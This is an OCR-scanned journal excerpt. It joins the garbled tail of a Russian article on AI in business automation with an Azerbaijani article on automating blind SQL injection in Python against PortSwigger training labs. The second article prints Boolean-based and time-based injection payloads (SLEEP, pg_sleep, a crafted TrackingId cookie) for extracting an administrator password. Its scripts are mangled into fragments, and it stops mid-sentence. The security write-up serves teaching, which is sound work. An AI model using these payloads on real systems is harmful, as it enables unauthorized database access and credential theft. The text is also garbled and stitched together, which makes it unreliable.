NO3BONAET aBTOMATU3MPOBATb PYTUHHbIE 33/1a4M C MCMO/b30BAHMEM MPOrPaMMHbIX PODOOTOB,
3HAUYUTENbHO CHUMKAA Harpy3Ky Ha COTPYAHMKOB. 3TM poboTbl cnocobHbl 0bpabaTtbiBaTh HObLINE
0bbemMbl AaHHbIX, M3BAEKATb M3 HUX BaKHYIO MHPOPMALMIO, 3aMNO/HATb AOKYMEHTbI M Jayke
C03/4aBaTb WX.

Mpumepam npmmeHeHnAa RPA MOXKHO BKIOUMNT:

Ob6paboTka AaHHbIX B Excel: konupoBaHuMe, NnpeobpasoBaHne 1 BbIMMCAEHMA.

3anonHeHne popm B DaHKOBCKMX cucTeMax (Hanpumep, GoOpMbl 415 NepeBoaa CpeacTs).
dopmMpoBaHME OTYETHOCTY.

MepeHOC AaHHbIX MeXAy Pa3/IMYHbIMM CUCTEMAMMN N MPUNOKEHUAMM.

OpHako, M oTKpbIBaeT HOBble TOPU30HTbI AN BU3Heca, NpeaoCTaBAAs BOSMOXKHOCTb He
TONbKO aBTOMaTM3aUMM, HO W  WHTEANEKTYanbHOrO0 aHanu3a [AaHHblX, MNPeanNKTUBHOIO
MOAENMPOBAHNA M aJanTMBHOMO ynpasiaeHMA npoueccamu. [po3pavyHOCTb M YBEPEHHOCTb B
CYKOEHUAX, BbIHOCUMBbIX MW, MMetoT peluatoliee 3HaYeHne, MOCKObKY BCe DOoblie KOMMNaHMi
MCMNONBL3YIOT cnucTeMbl BPM, ocHoBaHHble Ha MIW. Ero BHeApeHWe NoBbIWaeT NPOnU3BOAUTENBHOCTb
HU3HEC-NPOLIECCOB M MPUHATME PELLeHM, YTO, B CBOK oO4vepesb, MoBbliWaeT 3GPeKTUBHOCTb
pPaboTbl opraHmnsaumn.[2]

MpumeHeHne WM B ynpasneHunm 6OU3Hec-npoueccamm obecrneymBaeT MHOXKECTBO
NPEeNMYLLECTB, CPeau KOTOPbIX:

® YCKopeHue BHeapeHUs MHHOBALMI;
Ontmmsauma busHec-NpoLeccos;
CHMXXeHume 3aTpar;
MoBbllLIEHME KavyecTBa 0O6CYKMBAHMA KANEHTOB;
MoBblleHne 3dHEKTUBHOCTN BM3HECA U SIKOHOMMUYECKNX Pe3ybTaToB.[3]

CornacHoO [AaHHbIM WCCNeaO0BaHWM, TN0OANbHbBIA PbIHOK WMCKYCCTBEHHOTO WHTENNEKTa
NPOAO/IKaeT cTpeMnTenbHo pactu. B 2024 roay ero obbem oueHuBaeTca B 94,41 munnmapaa
nonnapos, a Kk 2025 roay nporHo3snpyeTca yBenmyeHne Ao 126 munanapaos Aonnapos. [4] 3t1o
NOATBEPKAAET He TOAbKO aKTyanbHOCTb MW, HO M ero 3HauyuTenbHoe B/MAHME Ha MUPOBYIO
SKOHOMMKY.

PaccmoTpum ctatncTtuky: B 2019 roay, no cpasHenumto ¢ 2015 rogom, pocT BHeapeHna M
B 6usHece coctasun 270%, cornacHo nccnenosaHuto Gartner [5]. 3Tn AaHHbIe MOKa3bIBaAOT, YTO
passutre M npoaonKaeT yCKOpATLCA, a ero BHeApeHWe oxBaTblBaeT Bce bonblue chep Halewn
XW3HW, BKAtOYaA busHec.

Kak 6bl10 OTMEYeHO paHee, MCKYCCTBEHHbIA MHTENNEKT akTUBHO MCNONb3yeTcs B busHece.
Ho KakoBa ero ponb B aBTOMaTu3aumm busHec-npoueccos? CornacHo uccnenoBaHnam Gartner
Consulting Group n MCA, cerogHa B 6u3Hece 70% 3a4a4 BbINOAHAOTCA COTPYAHWUKAMWK, a
ocTaswueca 30% — 310 pe3ynbTaT paboTbl YaT-60TOB, LMDPOBLIX ABOMHMKOB, aNTOPUTMOB U L.
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OpfHako K 2026 rody nNporHo3mpyeTca yBeanyeHue [0 aBTOMATU3MPOBAHHbIX MPOLLECCOB A0
50%.

—e— be3 yaBoeHus nHtepeca k U
—e— C yaBoeHuneM nHtepeca K N
—e— C yyeToM AGI B Havane 2025
70
=
=
=
©
L
£ 60f
©
=
o
[
m
©
£ 50t
()
=
o
o
|
40+
20 2022 2023 2024 2025 2026 2027 2028

lon

MpoueHT aBToMaT13aLmm busHec-NpPoLEeccos

Ha oCHOBaHWM AOMNONHUTENbHBIX MCCNEA0BAHMI BUAHO, YTO TEHAEHLMA aBTOMATM3auMM
npoaomKkaeT pactu. K 2028 roay, Kak MOKa3aHO Ha PUCYHKe, oxkuaaetcsa, 4yTo 60% 6usHec-
npoueccos OyayT aBTOMaTM3MpoBaHbl. A NpuM akTMBHOM pa3BuTuM AGI (Artificial General
Intelligence, nckyccTBeHHOro 0bLWEero MHTENNEKTA) 3TOT NOKa3aTelb MOXKET BblipacTu A0 70%.

AGI (Artificial General Intelligence) — 3TO MCKyCCTBEHHbIM OBOWMIA UHTENNEKT, KOTOPbIN
cnocobeH BbINONHATL t0Oble WMHTENNEKTyasibHble 3a4avu, CPaBHWMblE C YeN0BEYECKMMM
BO3MOXHOCTAMM. B oT/nuMe oT y3Koro wuckycctBeHHoro uHtennekta (AN, Artificial Narrow
Intelligence), KOTOpbIN NpeAHa3HavYeH ANA pelleHMA KOHKPeTHbIX 3aZay (Hanpumep, 4aT-60Tbl,
CUCTEMbI pacno3HaBaHMA WM300paXKeHWn WAM TFON0COBbIX accucTeHToB), AGl npeanonaraet
CNoCcoBbHOCTb K 0606WEeHNI0, 0OY4YEHNIO HAa OCHOBE OMbITa M aanTauMm K HOBbIM YCNOBUAM.[6]
Xota AGI TonbKO pa3BMBaeTCA, ero MCNosab3oBaHME CNOCOOHO MOMHOCTbIO TPaHCGOPMMPOBATL
BusHec-Nnpouecchbl, Aenaa Mx TMOKMMM, CaMOynpaBAAEMbIMU W NpeaenbHO 3POEKTUBHbBIMM.
KomnaHun, KOTOpble MNepBbIMM MHTErpuUpytoT TaKMe CUCTeMbl, MOAy4aT CyLlecTBEeHHOe
KOHKYPEHTHOE NpenmyLLEeCTBO

Ecan cpaBHMBaTb BHeapeHMe MU C yKe CyLLeCTBYIOLMMU TEXHONOTMAMMK, TaKMMU KaK
cuctembl RPA (Robotic Process Automation), ctatuctmka ot Deloitte Analysis gaet cneaytouimne
AaHHble:

® RPA B HacToAllee BpemA 3aHMMaEeT 78% NCNO/b3yeMOCTM B KOMMOAHMAX.
® VICKYCCTBEHHbIM MHTENNEKT NOKA MCNONb3YyeTCA TONbKO Ha 34%.

Tem He MeHee, yxe CerofHA MOXHO BblAENNTb yCNelwHble Kencbl npumeHeHuna U B
Pa3nYHbIX oTpacnsax. Hanpumep, komnaHus Vodafone BHegpunaa YaT-60Ta Ha H6a3e mallMHHOMO
obyyeHma noa HasBaHWem «TOBi», KOTOpbIA aBTOMaTM3MpoBan 66% B3aMMOAENCTBUMIA C
KNMEHTaMW. ITO NO3BOINAO HE TONbKO CHU3UTb HArpy3Ky Ha onepaTopos, HO M YCKOPUTbL MPOoLEeCcC
0BCNYKMBAHUSA, YYULLAA KAUEHTCKMIA OMbIT.

Haxke B 2019 roay, HECMOTPSA Ha BbICOKMI YpOBEHb Pa3BUTUA RPA, mHOrMe KomnaHum
CcTpemuance oborauiatb TEXHONOTMM aBTOMATM3ALUMW  UCKYCCTBEHHbIM MHTennektom (MN),
MOCKONIbKY OM3Hec-npouecchl TPebyloT He TONbKO aBTOMATM3aLUMKU PYTUHHBIX Onepaumi, HO U
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cnocobHocTn 0by4aTbCA, ONTMMM3MPOBATL 3Tanbl MPOLLECCOB M NMPUHUMATL Bonee pasyMHble
peweHuns. Hanpumep, KomnaHua Blue Prism coTtpyaHuyana c¢ IBM  gns  umHTerpaumm
NHTEeNNEeKTyaNbHbIX Bo3MoxKHocTe MM B cBom RPA-cuctembl. B cBOlO odvepenpb, KOMMNaHUSA
Automation Anywhere npegnarana RPA-pelieHuMAa C  pacWIMPEHHOW  aHaAUTUYECKOWN
KOMneTeHuMen, No3BOAAOWME HE TONbKO BbINOAHATL 3a4a4M, HO M MPOBOAMTbL MX aHANU3 U
onTummsaumio.[7]
Opyrum npumepom cay»uT pelleHne Salesforce Einstein, KoTopoe akTMBHO MCMNO/b3yeT
NN ansa aBToMaTM3aLmMm NOBCEAHEBHbIX PYTUHHbBIX 3a4a4. DTO BKAKOYAET:
e (OTnpaBKy aBTOMATUYECKMX YBEAOMIEHNM N 0OPabOTKY AaHHbIX O MOKYMKaXx;
® ABTOMATM3aUMIO BBOAA AAHHbIX ANA INA0B;
® YmHOe ynpaBneHve paboyMmm  npoueccaMu, YTO  MO3BOAAET  COTPYAHMKAM
COCPenoTounTLCA Ha Bonee CNOXKHbBIX M CTPATErMYecKM 3HaYMMbIX 3a43a4ax.

STN NnpMMepbl NOKa3bIBAKOT, YTO, HECMOTPA HAa OTHOCUTENBHO HU3KWIN YPOBEHb BHEAPEHMA
NN no cpaBHeHunto ¢ RPA, noTeHuMan ero npumeHeHusa y»Ke cerofHa cnocobeH MPUHOCUTb
3HAUMTe/IbHble  MPEeMMyLLEeCTBA KOMMAHWMAM, MOBbIWAA WX  KOHKYPEHTOCMOCOOHOCTb U
30 PEKTUBHOCT.

3aKkno4eHne

B paHHOM cTaTbe Oblna npeacTaBAeHa CTAaTUCTMKA WMCMNONb30BaHWA W Pa3BUTUA
MCKYCCTBEHHOrO WHTennekta (MW), a TakKe pacCMOTPeHbl ero NepcrnekTUBbl B yNpaBieHWM
H6usHec-npoueccamn. bbian nNpoaHannampoBaHbl Npumepbl BHeapeHua MM m nposeaeHo ero
CPaBHUTENbHOE COMOCTaBNEeHME C TEeKyLMMKM TexXHONOrMAMM, TakMmm Kak Robotic Process
Automation (RPA).

CeroaHa MWW  npumeHAeTcs [Aaa  pelleHnAa  WMPOKOro CnekTpa 3agady — oT
MPOrHO3MPOBAHMA M aHaAM3a AaHHbIX 40 aBTOMATM3aUMM PYTUMHHbLIX Onepaumin 1M NoBblLLIEHMA
YPOBHA KnbepbesonacHocT. Ero wuHTerpauma B OM3HEC-NPOLLECChl MO3BOASET KOMMAHMAM
afanTMPOBaTbCA K AMHAMMYHO MEHSOWMMCA YCA0BUAM LIMPOBON SIKOHOMMKM, NOBbILWATL CBOHO
KOHKYPEHTOCNOCOOHOCTb M ONTMMM3MPOBATL OMNEepPaUMOHHYD AesTeNbHOoCTb. CTaTUCTUYecKue
[aHHble NOATBEPKAALOT, UTO BHeapeHue N B BanKanlume roabl NpoaoknT HabmpaTb 060pOTl,
NOCTENEHHO 3aMeHAA TPAANUMOHHbIE METOAbl aBTOMaTM3aumMn, BrAto4aA RPA.

TakuMm 06pa3om, MOMXKHO YBEPEHHO YTBEPKAATb, UTO UCKYCCTBEHHbIA MHTENNEKT ABAETCS
He MPOCTO TEXHONOMMYECKUM MHCTPYMEHTOM, @ OAHMM M3 K/OYEBbIX [PaBepoB LUUGPOBON
TpaHchopmaummn. Ero nanbHellee pa3BUTUE YiKe CEroHS OTKPbIBAET HOBblE BO3MOMHOCTM A5
6usHeca M obuwectBa B UEOM, a B Oyayllem CTaHET HeoTbeMJEMOM 4acTblo rn1obHasibHOM
SKOHOMMKK. KOMMNaHMKM, KOTopble CBOEBPeMeHHO BHeapAatoT NN 1 MHTErpmpytoT ero B CBOMU
H6uM3Hec-npoLecchl, He ToNbKo obecneyat cebe aganTaumio K TEXHONOTMYECKUM N3MEHEHWUAM, HO
M CMOTYT 3aHATb IMAMPYIOLLME NO3MLNM B YCTOBUAX KOHKYPEHTHOIO PbIHKA.
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XULASO

Bu magals veb tatbiglarinda genis yayilmis SQL Injection hicumlarinin xsusi névi olan Blind
SQL Injection (Kor SQL inyeksiyasi) va onun Python vasitasile avtomatlasdiriimasi Gzarinda
gurulacagdir. Maqala iki asas istigamati shata edir: birincisi, Blind SQL Injection texnikasinin
mahiyyati va hicumun neca hayata kecirildiyi, ikincisi iss bu prosesi Brute Force metodu ila
samarali sakilde avtomatlasdirmagq Uc¢ln Python skriptlarinin hazirlanmasidir.

Blind SQL Injection zamani serverdan birbasa malumat ¢ixisi mimkdn olmur. Bunun avazing,
hicumcu cavablardaki mantigi naticalara va serverin cavab vaxtlarina asaslanarag malumatlari
cixarmaga calisir. Maqgalaedsa Boolean-based va Time-based texnikalarinin tafsrrtatli izahi
verilacakdir. Boolean-based metodunda sorgunun naticasinin dogru vea ya yanlis olmasi Gzarindan
analiz aparilir, Time-based metodunda isa serverin cavab middatina sini gecikdirma tatbig
edilarak malumatin dogrulugu yoxlanilr.

Magalanin praktiki hissasinda Python dili vasitasile Blind SQL Injection hicumlarinin
avtomatlasdiriimasi atrafli tasvir olunacag. Python-un requests, time va digar alagali
kitabxanalarindan istifads etmakle Brute Force skriptlarinin yazilmasi nimayis etdirilacak. Bu
skriptlar verilanlar bazasindaki malumatlari sistematik sakilds alds etmak lglin sorgularin ardicil
va ya parametrlasdirilmis sakilda icrasini tamin edacakdir.

Magalada real nimunalarla Blind SQL Injection-un neca isladiyi va onun Brute Force Usulu
ila hansi marhalalardan kecdiyi addim-addim gostarilir. Tahllkasizlik mutaxassislari, tadgigatcilar
va veb programcilar lgln bu yazi, SQL zsifliklarinin askarlanmasi va tahlili istigamatinda praktiki
bilik va bacariglar gazandiracagdir. Magalanin magsadi, oxuculara bu hticumlari basa dismak, icra
etmak va galacakda bu cir tahlikasizlik bosluglarinin garsisini almaq Ggln lazimi biliklari taqdim
etmakdir.

ACAR SOZLOR: SQL injection, Python, Blind SQL, Boolean-based SQL, Time-based SQL, Python ilo
avtomatlasdirma, Malumat bazasi tahlikasizliyi, Hicum simulyasiyasi, Veb tatbiq tahlikasizliyi

KPATKOE COEPHAHUE

3Ta cTaTbA NocBAlleHa 0coboMy BUAY LLMPOKO pacnpocTpaHeHHbIx atak SQL Injection B Beb-
npunoxernnsax — Blind SQL Injection (Cnenaa SQL-mHbeKkuyMaA) n e€é aBTOMaTM3aLMM C MOMOLLBIO
Python. B cTaTbe paccmaTpmBatoTCA ABa OCHOBHbIX HanpPaBAEHWA: BO-NEePBbIX, CyTb TEXHWMKM Blind
SQL Injection n meToapl eé peanusaumm, BO-BTOPbIX, pa3paboTKka cKpunToB Ha Python ans
abdeKTMBHOM aBTOMaTM3aUMM aTakm meToaoM Brute Force.

Mpn Blind SQL Injection cepBep He BO3BPALLAET ABHbIX AaHHbIX, MO3TOMY aTaKyOLINA
MCNONb3YeT NOTMYECKME BbIBOAblI M3 OTBETOB CepBepa WAM aHaNM3MpyeT BpemsA OTBeTa A1
nony4yeHma nHdopmaumn. B ctatbe NoapobHO paccmaTpmBatoTca TexHMKkn Boolean-based n Time-
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based. B meTone Boolean-based aHannsnpyetcs, aBnaetca A pesynbTaT 3anpoca UCTUHHbBIM UK
NIOXHbIM, a B meToZe Time-based MCKyCcCTBEHHaA 3a4eprKKa B OTBETE cepBepa MCMo/b3yeTca As
NPOBEPKM MPaBMIbHOCTM AAHHbIX.

MpaKTuyeckas 4acTb CTaTbM MOCBALWLEHa aBTomaTuM3aumm aTtak Blind SQL Injection ¢
ncnosib3oBaHMem Python. ByayT npoaeMoHCTPUMPOBaHbI CKPUNTbI, UCNOAb3YyoLIME BUBANOTEKM
requests, time u apyrne, obecnedmBatoliMe MOCAEA0BATE/bHOE WM MapPamMeTPU3oBaHHOE
BbIMNO/IHEHME 3aMNPOCOB A9 CUCTEMATUYECKOTO U3BAEYEHMA AaHHbIX M3 Ha3bl.

B cTtaTbe npuBeaeHbl peasbHble NPUMeEpPSI, NMoKasbiBatolwme, Kak paboTtaeT Blind SQL Injection u
KaK OCyLLecTBAAeTCA aTaka meToaom Brute Force. 31oT maTepuan byaeT noneseH cneumanmctam
no ©esonacHocTW, wuccnegoBatensm U Beb-paspabotymkam, nomoras MM  BblABAATb U
aHanm3npoBsaTb ysa3BMmMocTM SQL. OCHOBHaA UeNb CTaTbM — JaTb 4YMTaTeENAM HeobXoAMMble
3HaHMA 414 NOHUMAHMA, BbINOJHEHMA aTak W NPeaoTBPaLWeHMa NoA0OHbIX YA3BMMOCTEN B

byayuiem.

KMIOYEBLIE C/TOBA: SQL Injection, Python, Blind SQL, Boolean-based SQL, Time-based SQL,
ABTomMatmsauus c Python, BesonacHocTb 6a3 faHHbIX, CuMynAuuMA aTtak, besonacHocTb Beb-
NPUNOXKEHWI

SUMMARY

This article focuses on a specific type of widely known SQL Injection attacks in web
applications -Blind SQL Injection and its automation using Python. The article covers two main
aspects: first, understanding the Blind SQL Injection technique and how the attack is carried out;
second, developing Python scripts to efficiently automate the process using the Brute Force
method.

In Blind SQL Injection, direct data retrieval from the server is not possible. Instead, the
attacker relies on logical conclusions from server responses or analyzes response times to extract
information. The article provides a detailed explanation of Boolean-based and Time-based
techniques. In the Boolean-based method, the response is analyzed based on whether the query
result is true or false, while the Time-based method introduces artificial delays in server responses
to verify the correctness of the data.

The practical section of the article focuses on automating Blind SQL Injection attacks using
Python. It will demonstrate scripts utilizing the requests, time, and other relevant libraries to
systematically execute sequential or parameterized queries for data extraction.

Real-world examples will illustrate how Blind SQL Injection works and how the Brute Force
method is applied. This article is valuable for security professionals, researchers, and web
developers, equipping them with practical knowledge for detecting and analyzing SQL
vulnerabilities. The goal is to help readers understand, execute, and prevent such security
weaknesses in the future.

KEYWORDS: SQL Injection, Python, Blind SQL, Boolean-based SQL, Time-based SQL, Python
automation, Database security, Attack simulation, Web application security

GIRIS

SQL injection (SQLi) veb tatbiglarinin tahlikasizliyini pozmaq Ucln istifada olunan an genis
yayilmis kiberhlcum névlarindan biridir. Bu hlicum zamani hilcumcu veb tatbigda geyri-ganuni
SQL sorgulari yerina yeritmakla verilanlar bazasina giris alde etmaya ¢alisir. SQL injection-un asas
magsadi verilanlar bazasinda saxlanilan maxfi malumatlari ala kegirmak, sistemin isina midaxila
etmak va ya hatta onu idara etmakdir. Klassik SQL injection zamani verilanlarin cixisinda alda
olunan naticalar vasitasile sorgularin ugurlu olub-olmamasi muayyan edilir. Lakin bazi hallarda
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bu cixislar mahdud olur va ya gostarilmir. Bu halda Blind SQL Injection (kor SQL inyeksiyasi)
texnikasi istifada olunur.

Blind SQL Injection zamani serverdan birbasa malumat alinmasa da, hiicumcular dogru va
ya yanlis cavablar Uzarindan mantiqgi natica cixararaq verilanlar bazasina daxil olmaga calisirlar.
Belo hallarda hicumcular tez-tez Boolean-based blind SQLi ve Time-based blind SQLi
metodlarindan istifads edirlar. Boolean-based metodunda sorgunun dogru va ya yanlis olmasina
asaslanaraq fargli naticalar analiz edilir. Time-based metodunda isa SQL sorgusu vasitasile
serverin cavab verma vaxti stni sakilda gecikdirilir va bu yolla malumatin dizglnliyi yoxlanilir.

Boolean-based blind SQLi ve Time-based blind SQLi metodlari ils datalarin alds edilmasi
bazan brute force mantigina yani, kombinasiyalarin bir-bir yoxlaniimasina asaslana bilar. Bu
zaman tabii ki, prosesi ala almagq lGgln xisusi program taminatindan va ya prosesi avtomatlasdira
bilacayimiz programlasdirma dillarindan istifada etmali olurug. Python programlasdirma dili bize
bu amaliyyatlari hayata kegirmak UGgln kifayat gadar funksiyalar tamin edir. Python-un requests,
time va digar alagali kitabxanalarindan istifads etmakla biz Blind SQL injection hicumunu
avtomatlasdira bilarik.

Blind SQL injection va onun névlari

Blind SQL Injection (Kor SQL inyeksiyasi) SQL hicumlarinin xtsusi bir novidir. Klassik SQL
inyeksiyalarindan fargli olarag, Blind SQL Injection zamani serverin cavab olaraqg verdiyi malumat
acig-aydin gérinmdr. Bu hicum zamani verilanlar bazasindan malumat cixarmaq Uclin veb
tatbigindan galan dolayr malumatlardan istifads olunur. Serverin cavabinin tahlili, sorgularin
islanma muddati va sahvlar asasinda malumat alda edilir.

Blind SQL Injection ¢ox vaxt serverin tshlUkasizlik mexanizmlari sorgulara birbasa cavab
vermayi mahdudlasdiranda istifads olunur. Bu texnika mirakkab ve zaman alici olsa da, diizgiin
yanasma ila kifayat gadar ugurlu naticalar alda etmak mumkindur. Blind SQL Injection iki asas
nova bolindr:

e Boolean-based Blind SQL Injection
e Time-based Blind SQL Injection

1.Boolean-based Blind SQL Injection

Boolean-based Blind SQL Injection zamani hiicumcu verilan SQL sorgularinin naticasina gora
veb sahifanin mazmunundaki dayisikliklari izlayir. Sorgunun naticasi dogru va ya yalnis olduqgda,
sahifanin davranisi fargli ola bilar. Bu metodda mantiqi sartlerdan (AND, IF/ELSE, CASE) istifada
edilarak sorgulara fargli cavablar verilir.

Masalan:

Bir veb sahifa istifadacinin ID ndmrasina asassn malumat gostarir va id parametri ila SQL
sorgusu icra olunur.

http://site.com/page?id=1

Bu sorgu naticasinda istifadaci malumatlari ekranda gdstarilir. indi bu sorguya boolean sarti
alave edak:

http://site.com/page?id=1 AND 1=1

Yuxaridaki sorgunun naticasi hamisa dogrudur va sahifs normal gériinacak. indi sahv sart ila
yoxlayaq:

http://site.com/page?id=1 AND 1=2

9gar sahifanin davranisi dayisarsa (masalan, sahifada hec bir malumat géstariimazss va ya
sohv mesaj ¢ixarsa), bu, SQL inyeksiyanin movcudluguna isars eda bilar.

Malumat ¢ixarma prosesi:

Verilanlar bazasindaki malumatlari boolean saklinds suallar verarak marhalali sakilds alda

etmak mUmkindur:
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1. Har harf Ggln ASCII dayarlari yoxlanilr.
2. Msalumatin uzunlugu taxmin edilir.

3. BUtln simvollarin giymatlari dogru va yanlhs cavablarla tapilir.
Praktiki nimuna:

Asagidaki sorgu vasitasila malumatin uzunlugunu yoxlaya bilarik:
http://site.com/page?id=1 AND LENGTH(database())=8

2. Time-based Blind SQL Injection

Time-based Blind SQL Injection zamani serverin cavab muddstine asasan SQL sorgusunun
naticasi taxmin edilir. Bu metod serverda SLEEP va ya oxsar funksiyalarin tatbigi ile hayata kegirilir.
ogor verilan SQL sarti dogru olarsa, server siini olaraqg bir ne¢a saniya gec cavab verir.

Masalan:

http.//site.com/page?id=1 AND IF(1=1, SLEEP(5), 0)

Bu sorguda sart dogrudur (1=1), ona gora server 5 saniya gec cavab verir. 9gar sahifa 5 saniya
gecikirss, bu, SQL inyeksiyanin ugurlu oldugunu gostarir.

Sahv bir sart ila eyni sorgunu yoxlayaq:

http.//site.com/page?id=1 AND IF(1=2, SLEEP(5), 0)

Burada server cavabinda gecikma olmadigl halda, sorgunun yanhs oldugunu muayyan eda
bilarik.

Malumatin uzunlugunu tapmagq Uctn praktiki nimuna:

http://site.com/page?id=1 AND IF(LENGTH(database())=8, SLEEP(5), 0)

Boolean-based Blind SQL Injection hicumunun Python ila avtomatlasdiriimasi va
labaratoriyada tatbigqi

Boolean-based Blind SQL Injection hicumunu hayata kecirmak Ucln Port Swigger
labaratoriyasindan istifads edacayik. Burada biz SQL Injection mévzusuna aid olan (Lab: Blind SQL
injection with conditional responses) labaratoriyani se¢a bilarik. Labaratoriya SQL boslugundan
istifade edarak administrator hesabinin parolunu alds etmayimizi talab edir. Eyni zamanda
labaratoriyanin tagdim etdiyi ilkin malumat biza users cadvalinin mévcud oldugunu va username
va password adh sttunlarin moévecud oldugunu bildirir. Biz da labaratoriyanin tapsirigina uygun
olarag SQL boslugunu bu istigamatda tatbig edacayik.

4 3
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Sakil 1. Lab: Blind SQL injection with conditional responses — Ana sahifaya sada GET sorgusu
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ilkin olaraq biz labaratoriyani analiz etmali va SQL boslugunun mévcud oldugu bolmani
muayyan etmaliyik. Sakil 1-da gorindlyU kimi saytda GET sorgusu zamani cookie malumatlari da
bu sorguya alava olunur. Cookie malumatlarini sildiyimiz zaman “Welcome back!” yazisinin saytda
oks olunmadigini gora bilirik (Sakil 2).
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Sakil 2. Lab: Blind SQL injection with conditional responses — GET sorgusundan cookie
malumatlarinin silinmasi

SQL Injection boslugununun movcudlugunu test etmak Uclin cookie dayarini asagidaki kimi
dayisarak sorgumuzu tazardan géndaririk.

Cookie: Trackingld=BOgMIiJMEj8uOHcG' AND '1'="1;

Bu zaman saytda “Welcome back!” yazisi yenidan aks olunur va buda biza saytda SQL
boslugunun mévcud oldugunu bildirir. Novbati addim olaraq artiqg tapsirigin talabina uygun olaraq
users cadvalinden administrator hesabina uygun olan parolu brute force ilo alda etmaya
calisacayiqg. Brute force amaliyyatini avtomatlasdirmagq Gctin sakil 3-da gostarilmis python dilinda
yazilmis kodu tatbiq edacayik :

import requests

"

nnnnnnnnnnnnnnn

me = 'administ

print
break

Sakil 3. Python ila Boolean-based Blind SQL boslugundan istifada edarak verilanlar bazasina
brute-force amaliyyati
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Kodun izahi :

Ilkin olaraq istifads edscayimiz request kitabxanasini kodumuza daxil edirik. Bu kitabxana
biza veb saytlara sorgu géndarmaya va sorgunun cavabini almaga imkan verir. Novati satirlarda
hicum edacayimiz veb saytin url Unvanini va istifade edacayimiz simvollari dayisanlara
manimsadirik. Burada hadaf test muhitli labaratoriya oldugundan simvollarin sayi kifayat gadar
azdir. Lakin spesifik hlicumlar zamani parol GcUn istifada edilan batin simvollarr istifeda etmayimiz
daha magsada uygundur. Daha sonra bos password dayisanini tayin edirik ve ndvbati marhalada
ona simvollar alava edarak tam parolumuzu tapmaga calisirig. Hicumu hayata kecirmak Ugln for
dovr operatoundan istifads edirik. Burada taxmini parolun 20 simvoldan uzun olmayacagi hali
nazara alaraq brute force elemaya calisirig. Har bir dovrda daha bir for amaliyyati isa disur va
biatin wordlistda olan simvollari bir-bir sorgumuza alave edarak yoxlayir. Naticada cookie
dayisaninda cookie dayari va SQL boslugunu istismar eds bilacayimiz payload hazirlanir va bu
dayar veb sayta sorgu géndarilan zaman uygun olaraqg sorgunun cookie bélmasina alava olunur.
Yekun olaraqg sorgunun biza qaytardigl cavab if sart operatoru ila yoxlanilir va “Welcome back!”
naticani 6zlinda birlasdiran cavab aldigimiz har dovri addimda parolumuzun bir simvolunu tapmis
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Sakil 4. Python ila Boolean-based Blind SQL boslugundan istifada edarak verilanlar bazasina
brute-force amaliyyatinin yekun naticasi
Time-based Blind SQL Injection hiicumunun Python ilo avtomatlasdirilmasi va labaratoriyada
totbiqi
Time-based Blind SQL Injection hiicumunu hayata kecirmak lglin da biz yena Port Swigger
labaratoriyasindan istifads edacayik. Burada iss bir artig SQL Injection mdvzusuna aid olan (Lab:
Blind SQL injection with time delays and information retrieval) labaratoriyani istifade edacayik.
Labaratoriyanin sartlari Boolean-based Blind SQL Injection labaratoriyasi ila eynidir va burada da
biz administrator hesabinin parolunu alda edarak administrator hesabina daxil olmaliyig. Birinci
labaratoriyamizda oldugu kimi burada da cookie malumatlari sorgumuza daxil olunur. Amma
birinci labaratoriyamizdan farqgli olaraq burada “Welcome back!” mesajini gora bilmirik (Sakil 5).
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Sakil 5: Lab: Blind SQL injection with time delays and information retrieval — Ana sahifaya
sada GET sorgusu

Bir neca dafa sorgunu takrar géndararak biz sorguya cavab verma middatini nazardan kecira
bilirik. GBndardiyimiz sorgularin naticasi 100-200 millisaniys intervalinda oldugunu gora bilarik. Bu
zaman biz saytda Time-based Blind SQL Injection boslugunun olub olmadigini yoxlamagq tGglin CASE
WHEN va pg_sleep funksiyasindan istifads eda bilarik. Cookie dayarini asagidaki kimi dayisdirarak
sorgunu takrar géndarmaya calisiriq:

Trackingld=8FVdzioWaioG6dkQ'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+
pg_sleep(0)+END—

Burada biz boslug simvollarini kodlasdirarag ‘+” simvollari ils svez etmisik. istifads etdiyimiz
SQL sorgusununda agar WHEN sarti dogrudursa THEN hissasi icara olunur, aks halda isa else
hissasi. Burada WHER sarti 1=1 true gaytardigina gora THEN hissasi islayacakdir va pg_sleep(10)
funksiyasi 10 seniya gecikmani tamin edacakdir . Sorgunu takrar gondardiyimizda artig cavab
middati 10100-10200 millisaniya intervalinda olur ki, buda biza SQL boslugunun mévcudlugundan
xabar verir.

Saytda Time-based Blind SQL Injection boslugunun oldugunu muiayyan etdiyimizdan sonra
artig labaratoriyanin sartina uygun hicum kodumuzu yaza bilarik. Bu zaman magsadimiza nail
olmagq Uclin asagidaki python kodundan istifadas eds bilarik (Sakil 6).

import
import

r}' then pg_sleep(10) else pg_sleep(@) end from users where username = 'administrator’'—"

Sakil 3. Python ila Time-based Blind SQL boslugundan istifada edarak verilanlar bazasina
brute-force amaliyyati

Kodun izahi :
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ilkin labaratoriyamizdan fargli olaraq burada biz time kitabxanasini da slava olaraq kodumuza
daxil etmisik. Adindan da gorlindUyl kimi kitabxana zamanla alagali amaliyyatlari hayata
kecirmaya biz imkan yaradacaqdir. Burada biz artig fargli SQL sorgusundan istifada edirik.
SUBSTRING funksiyasi ila biz bir-bir simvollari yoxlayirig va uygunlugun askarlanmasi halinda 10
saniya gecikma alava edirik. Daha sonra sorgumuzun gondarilmasindan avval va sonra saniys ila
cari vaxtlari alirig. Novbati addimda bu zamanlar arasindaki fargi tapirig ve 1000 vuraraqg milli
saniya dayarini alirig. Parolumuzun simvolunu dizgiin tapdigimiz halda natice 10000 milli
saniyadan cox, digar halda isa 100-200 milli saniya araliginda olacaqgdir. Natica sakil 6-da tasvir
olunmusdur.
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ongratulations, you solved the lab!
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Sakil 6. Python ila Time-based Blind SQL boslugundan istifada edarak verilanlar bazasina
brute-force amaliyyatinin yekun naticasi

NOTICO

Bu magqgalada Blind SQL Injection hicumlarinin mahiyyati, névlari ve bu texnikanin Python
vasitasile avtomatlasdiriimasi tahlil edilmisdir. SQL Injection, xisusile Blind SQL Injection, veb
tatbiglarinda genis yayilmis va tahlikali hiicum novlarindan biridir. Boolean-based metodunda
dogru va yanlis cavablara asasan sistematik analiz aparilir, Time-based metodunda isa serverin
cavab vaxtindaki siini gecikmalardan istifade olunur. Magalada Boolean-based va Time-based
texnikalari istifada edarak malumatlarin marhalali sakilda ¢ixarilmasi nimayis olunmusdur.

Magalanin praktiki hissasinda Python programlasdirma dili vasitasile bu hlcumlarin neca
